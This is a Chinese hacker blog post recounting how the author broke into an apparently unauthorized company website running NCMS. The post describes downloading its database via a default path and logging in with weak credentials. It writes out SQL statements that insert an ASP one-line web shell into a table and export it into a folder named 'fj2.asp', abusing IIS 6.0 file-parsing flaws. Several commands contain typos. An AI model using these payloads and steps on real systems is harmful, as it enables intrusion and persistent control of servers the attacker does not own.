危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2289 浏览18788023

WebShell获取之SQL语句执行

某天遇到一个企业站点,危险漫步就简单的测试了下,前台页面没有SQL注射漏洞,在址址栏后面加上“admin”跳到了后台管理页面,采用NCMS的CMS。

立马在网上搜索了下这款CMS,并没有找到相关的漏洞信息,看来人气不高。很轻松地下载到源代码,其默认路径为“/database/#ncms_mdb”,试试看默认的数据库地址是否没有更改。将“#”改为“%23”,请求之后,成功下载到数据库,用户名密码信息也是采用的弱口令。登录后台成功,有个类似asp探针的小功能,web物理路径显示出来了,为“E:\wwwroot\seo\***\”。翻了翻后台,有数据库备份功能,但在数据库中发现有NOTDOWN表,猜测即使备份成asp也运行不了。

在“辅助功能”下有执行SQL语句的功能,马上测试了一下,提示执行成功,但无法返回执行成功的结果,前面通过asp探针获得了WEB的物理路径,来尝试下导出webshell,其原理很简单,就是将在数据库中查询到的结果保存到一文件中。文件导出在在Access中不是很流行,我们遇到的多是在mysql,rootq权限下用“select *** into outfile 'd:/web/shell.php”’获得webshell。Access下之所以不流行,是因为利用Access作为数据库开发的网站中,提供

sql语句执行功能并不常见,而且文件导出需要获得网站物理路径,再加上微软出于安全与其它一些方面的考虑,文件导出格式是有限制的,像asp、asa等无法导出成功。前段时间爆出了win下文件类型的一个bug,如“fj.asp;hh.txt”会被当成asp解析,这下我们就可以利用之获得webshell了。

马上执行“SELECT'into [fj.asp;hh.txt]inlE:\wwwroot\sea\***\'text;'from NCMS_admin”,提示成功,但访问fj.asp;hh.txt却显示404错误。

在下载到的代码中找到了执行sql语句的函数,并没有发现函数对导出的文件名有任何判断与过滤。

那为什么会导出不成功呢?会不会是服务器上运行有特殊杀软或其它BT的设置?继续看看后台的各功能,不支持文件上传,但“数据库备份”可以生成新文件夹。

我们可以看到,系统提供的数据库备份与我们以前遇到的有些区别,这里都是填写文件路径,无需填写文件名。这就奇怪了,难道系统会自动获得路径下的文件?幸好下载到了源码,相关的实现代码我就不贴出来了,想要的可以私聊我找我要。

在定义的backup过程中,先判断“当前数据库路径”和“备份数据库路径下”是否填写,如“备份数据库路径”中的文件夹不存在,则调用createdj_r函数来创建文件。所谓的数据库备份是利用movefiles函数将“当前数据库路径”下所有文件复制到“备份数据库路径”下,由于只是简单的复制,并不提供对备份成功后文件的更名功能。

思考了一下,既然能生成新文件夹,那我们可以生成一个“fj2.asp”的文件夹来,再用“执行SQL语句”功能将文件导出其中,而IIS 6.0会将“*.asp”文件下的文件当成asp解析。测试过程如下。

先将一句话代码插入到数据库中insert into NCMS_admin(uname,upass,scode,addtime) values('11','<%evalreques t(chr(35))%>J,’22’,now()),导出SELECT* into [test.txt] in 'E:\wwwroot\seo\***\fj2.asp\'text;' from NCMS_admin顺利获得webshell。

最后,很是迷茫为什么在直接导出为“fj.asp;hh.txt”会提示文件不存在,难道此服务器已修补了该漏洞?本着对“真理”的无限探索,一番测试后危险漫步终于明白原因,服务器修复了文件解析漏洞,将“;”更改为下划线。

相关推荐